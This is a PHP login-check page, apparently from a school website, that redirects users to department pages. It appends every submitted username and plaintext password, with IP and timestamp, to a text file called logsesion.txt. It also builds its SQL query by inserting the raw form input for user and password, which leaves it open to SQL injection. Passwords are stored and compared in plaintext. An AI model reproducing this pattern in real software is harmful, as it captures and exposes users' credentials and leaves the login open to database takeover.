<?php
session_start();
?>
<!DOCTYPE html>
<html>
<link rel="stylesheet" type="text/css" href="../style.css"/>
	<Body>
		<head>
			<head>
				<title>Validando...</title>
				<meta charset="utf-8">
			</head>
		</head>
		<body>
		<?php

$line="  -  ";
if (!empty($_REQUEST['line'])){
$line=$_REQUEST['line'];
}

$ipAddress = $_SERVER['REMOTE_ADDR'];
if (!empty($_REQUEST['ipAddress'])){
$ipAddress=$_REQUEST['ipAddress'];
}

$fecha2 ="Fecha y hora: ";
if (!empty($_REQUEST['fecha2'])){
$fecha2=$_REQUEST['fecha2'];
}

$timezone  = +1;
$fecha = date("Y/m/d H:i:s",time ()+ 3600*($timezone+date("I")));
if (!empty($_REQUEST['fecha'])){
$fecha=$_REQUEST['fecha'];
}

$user2="Usuario: ";
if (!empty($_REQUEST['user2'])){
$user2=$_REQUEST['user2'];
}

$user="";
if (!empty($_REQUEST['user'])){
$user=$_REQUEST['user'];
}

$pw2="Password: ";
if (!empty($_REQUEST['pw2'])){
$pw2=$_REQUEST['pw2'];
}

$pw="";
if (!empty($_REQUEST['pw'])){
$pw=$_REQUEST['pw'];
}

//Luego sobrescribo el txt

$archivo="logsesion.txt";

     $file=fopen($archivo,"a");
     fwrite($file,$fecha2.$fecha.$line.$ipAddress.$line.$user2.$user.$line.$pw2.$pw.PHP_EOL);
     fclose($file);
 ?>
			<?php
			include 'serv.php';
			if(isset($_POST['login'])){
				$usuario = $_POST['user'];
				$pw = $_POST['pw'];
				$log = mysql_query("SELECT * FROM usuarios WHERE user='$usuario' AND pw='$pw'");
				if (mysql_num_rows($log)>0) {
					$row = mysql_fetch_array($log);
					if (in_array('alebulo', $row, true)) {
						$_SESSION["user"] = $row['user'];
						echo '<fieldset><center>Espere...<br><img src="../img/loader.gif"></center></fieldset>';
						echo '<script> window.location="../capo.php"; </script>';

					}else
					if (in_array('Nancy', $row, true)) {
						$_SESSION["user"] = $row['user'];
						echo '<fieldset><center>Espere...<br><img src="../img/loader.gif"></center></fieldset>';
						echo '<script> window.location="../cabinformatica.php"; </script>';

					}else
					if (in_array('Ingles', $row, true)) {
						$_SESSION["user"] = $row['user'];
						echo '<fieldset><center>Espere...<br><img src="../img/loader.gif"></center></fieldset>';
						echo '<script> window.location="../cabingles.php"; </script>';

					}else
					if (in_array('Plastica', $row, true)) {
						$_SESSION["user"] = $row['user'];
						echo '<fieldset><center>Espere...<br><img src="../img/loader.gif"></center></fieldset>';
						echo '<script> window.location="../cabplastica.php"; </script>';

				
					}else
					if (in_array('Musica', $row, true)) {
						$_SESSION["user"] = $row['user'];
						echo '<fieldset><center>Espere...<br><img src="../img/loader.gif"></center></fieldset>';
						echo '<script> window.location="../cabmusica.php"; </script>';

					}else
					if (in_array('EduFisica', $row, true)) {
						$_SESSION["user"] = $row['user'];
						echo '<fieldset><center>Espere...<br><img src="../img/loader.gif"></center></fieldset>';
						echo '<script> window.location="../cabfisica.php"; </script>';
					}
				}

				else{

					echo '<script> window.location="../loginerror.php"; </script>';
				}
			}

			?>
		</body>
	</html>
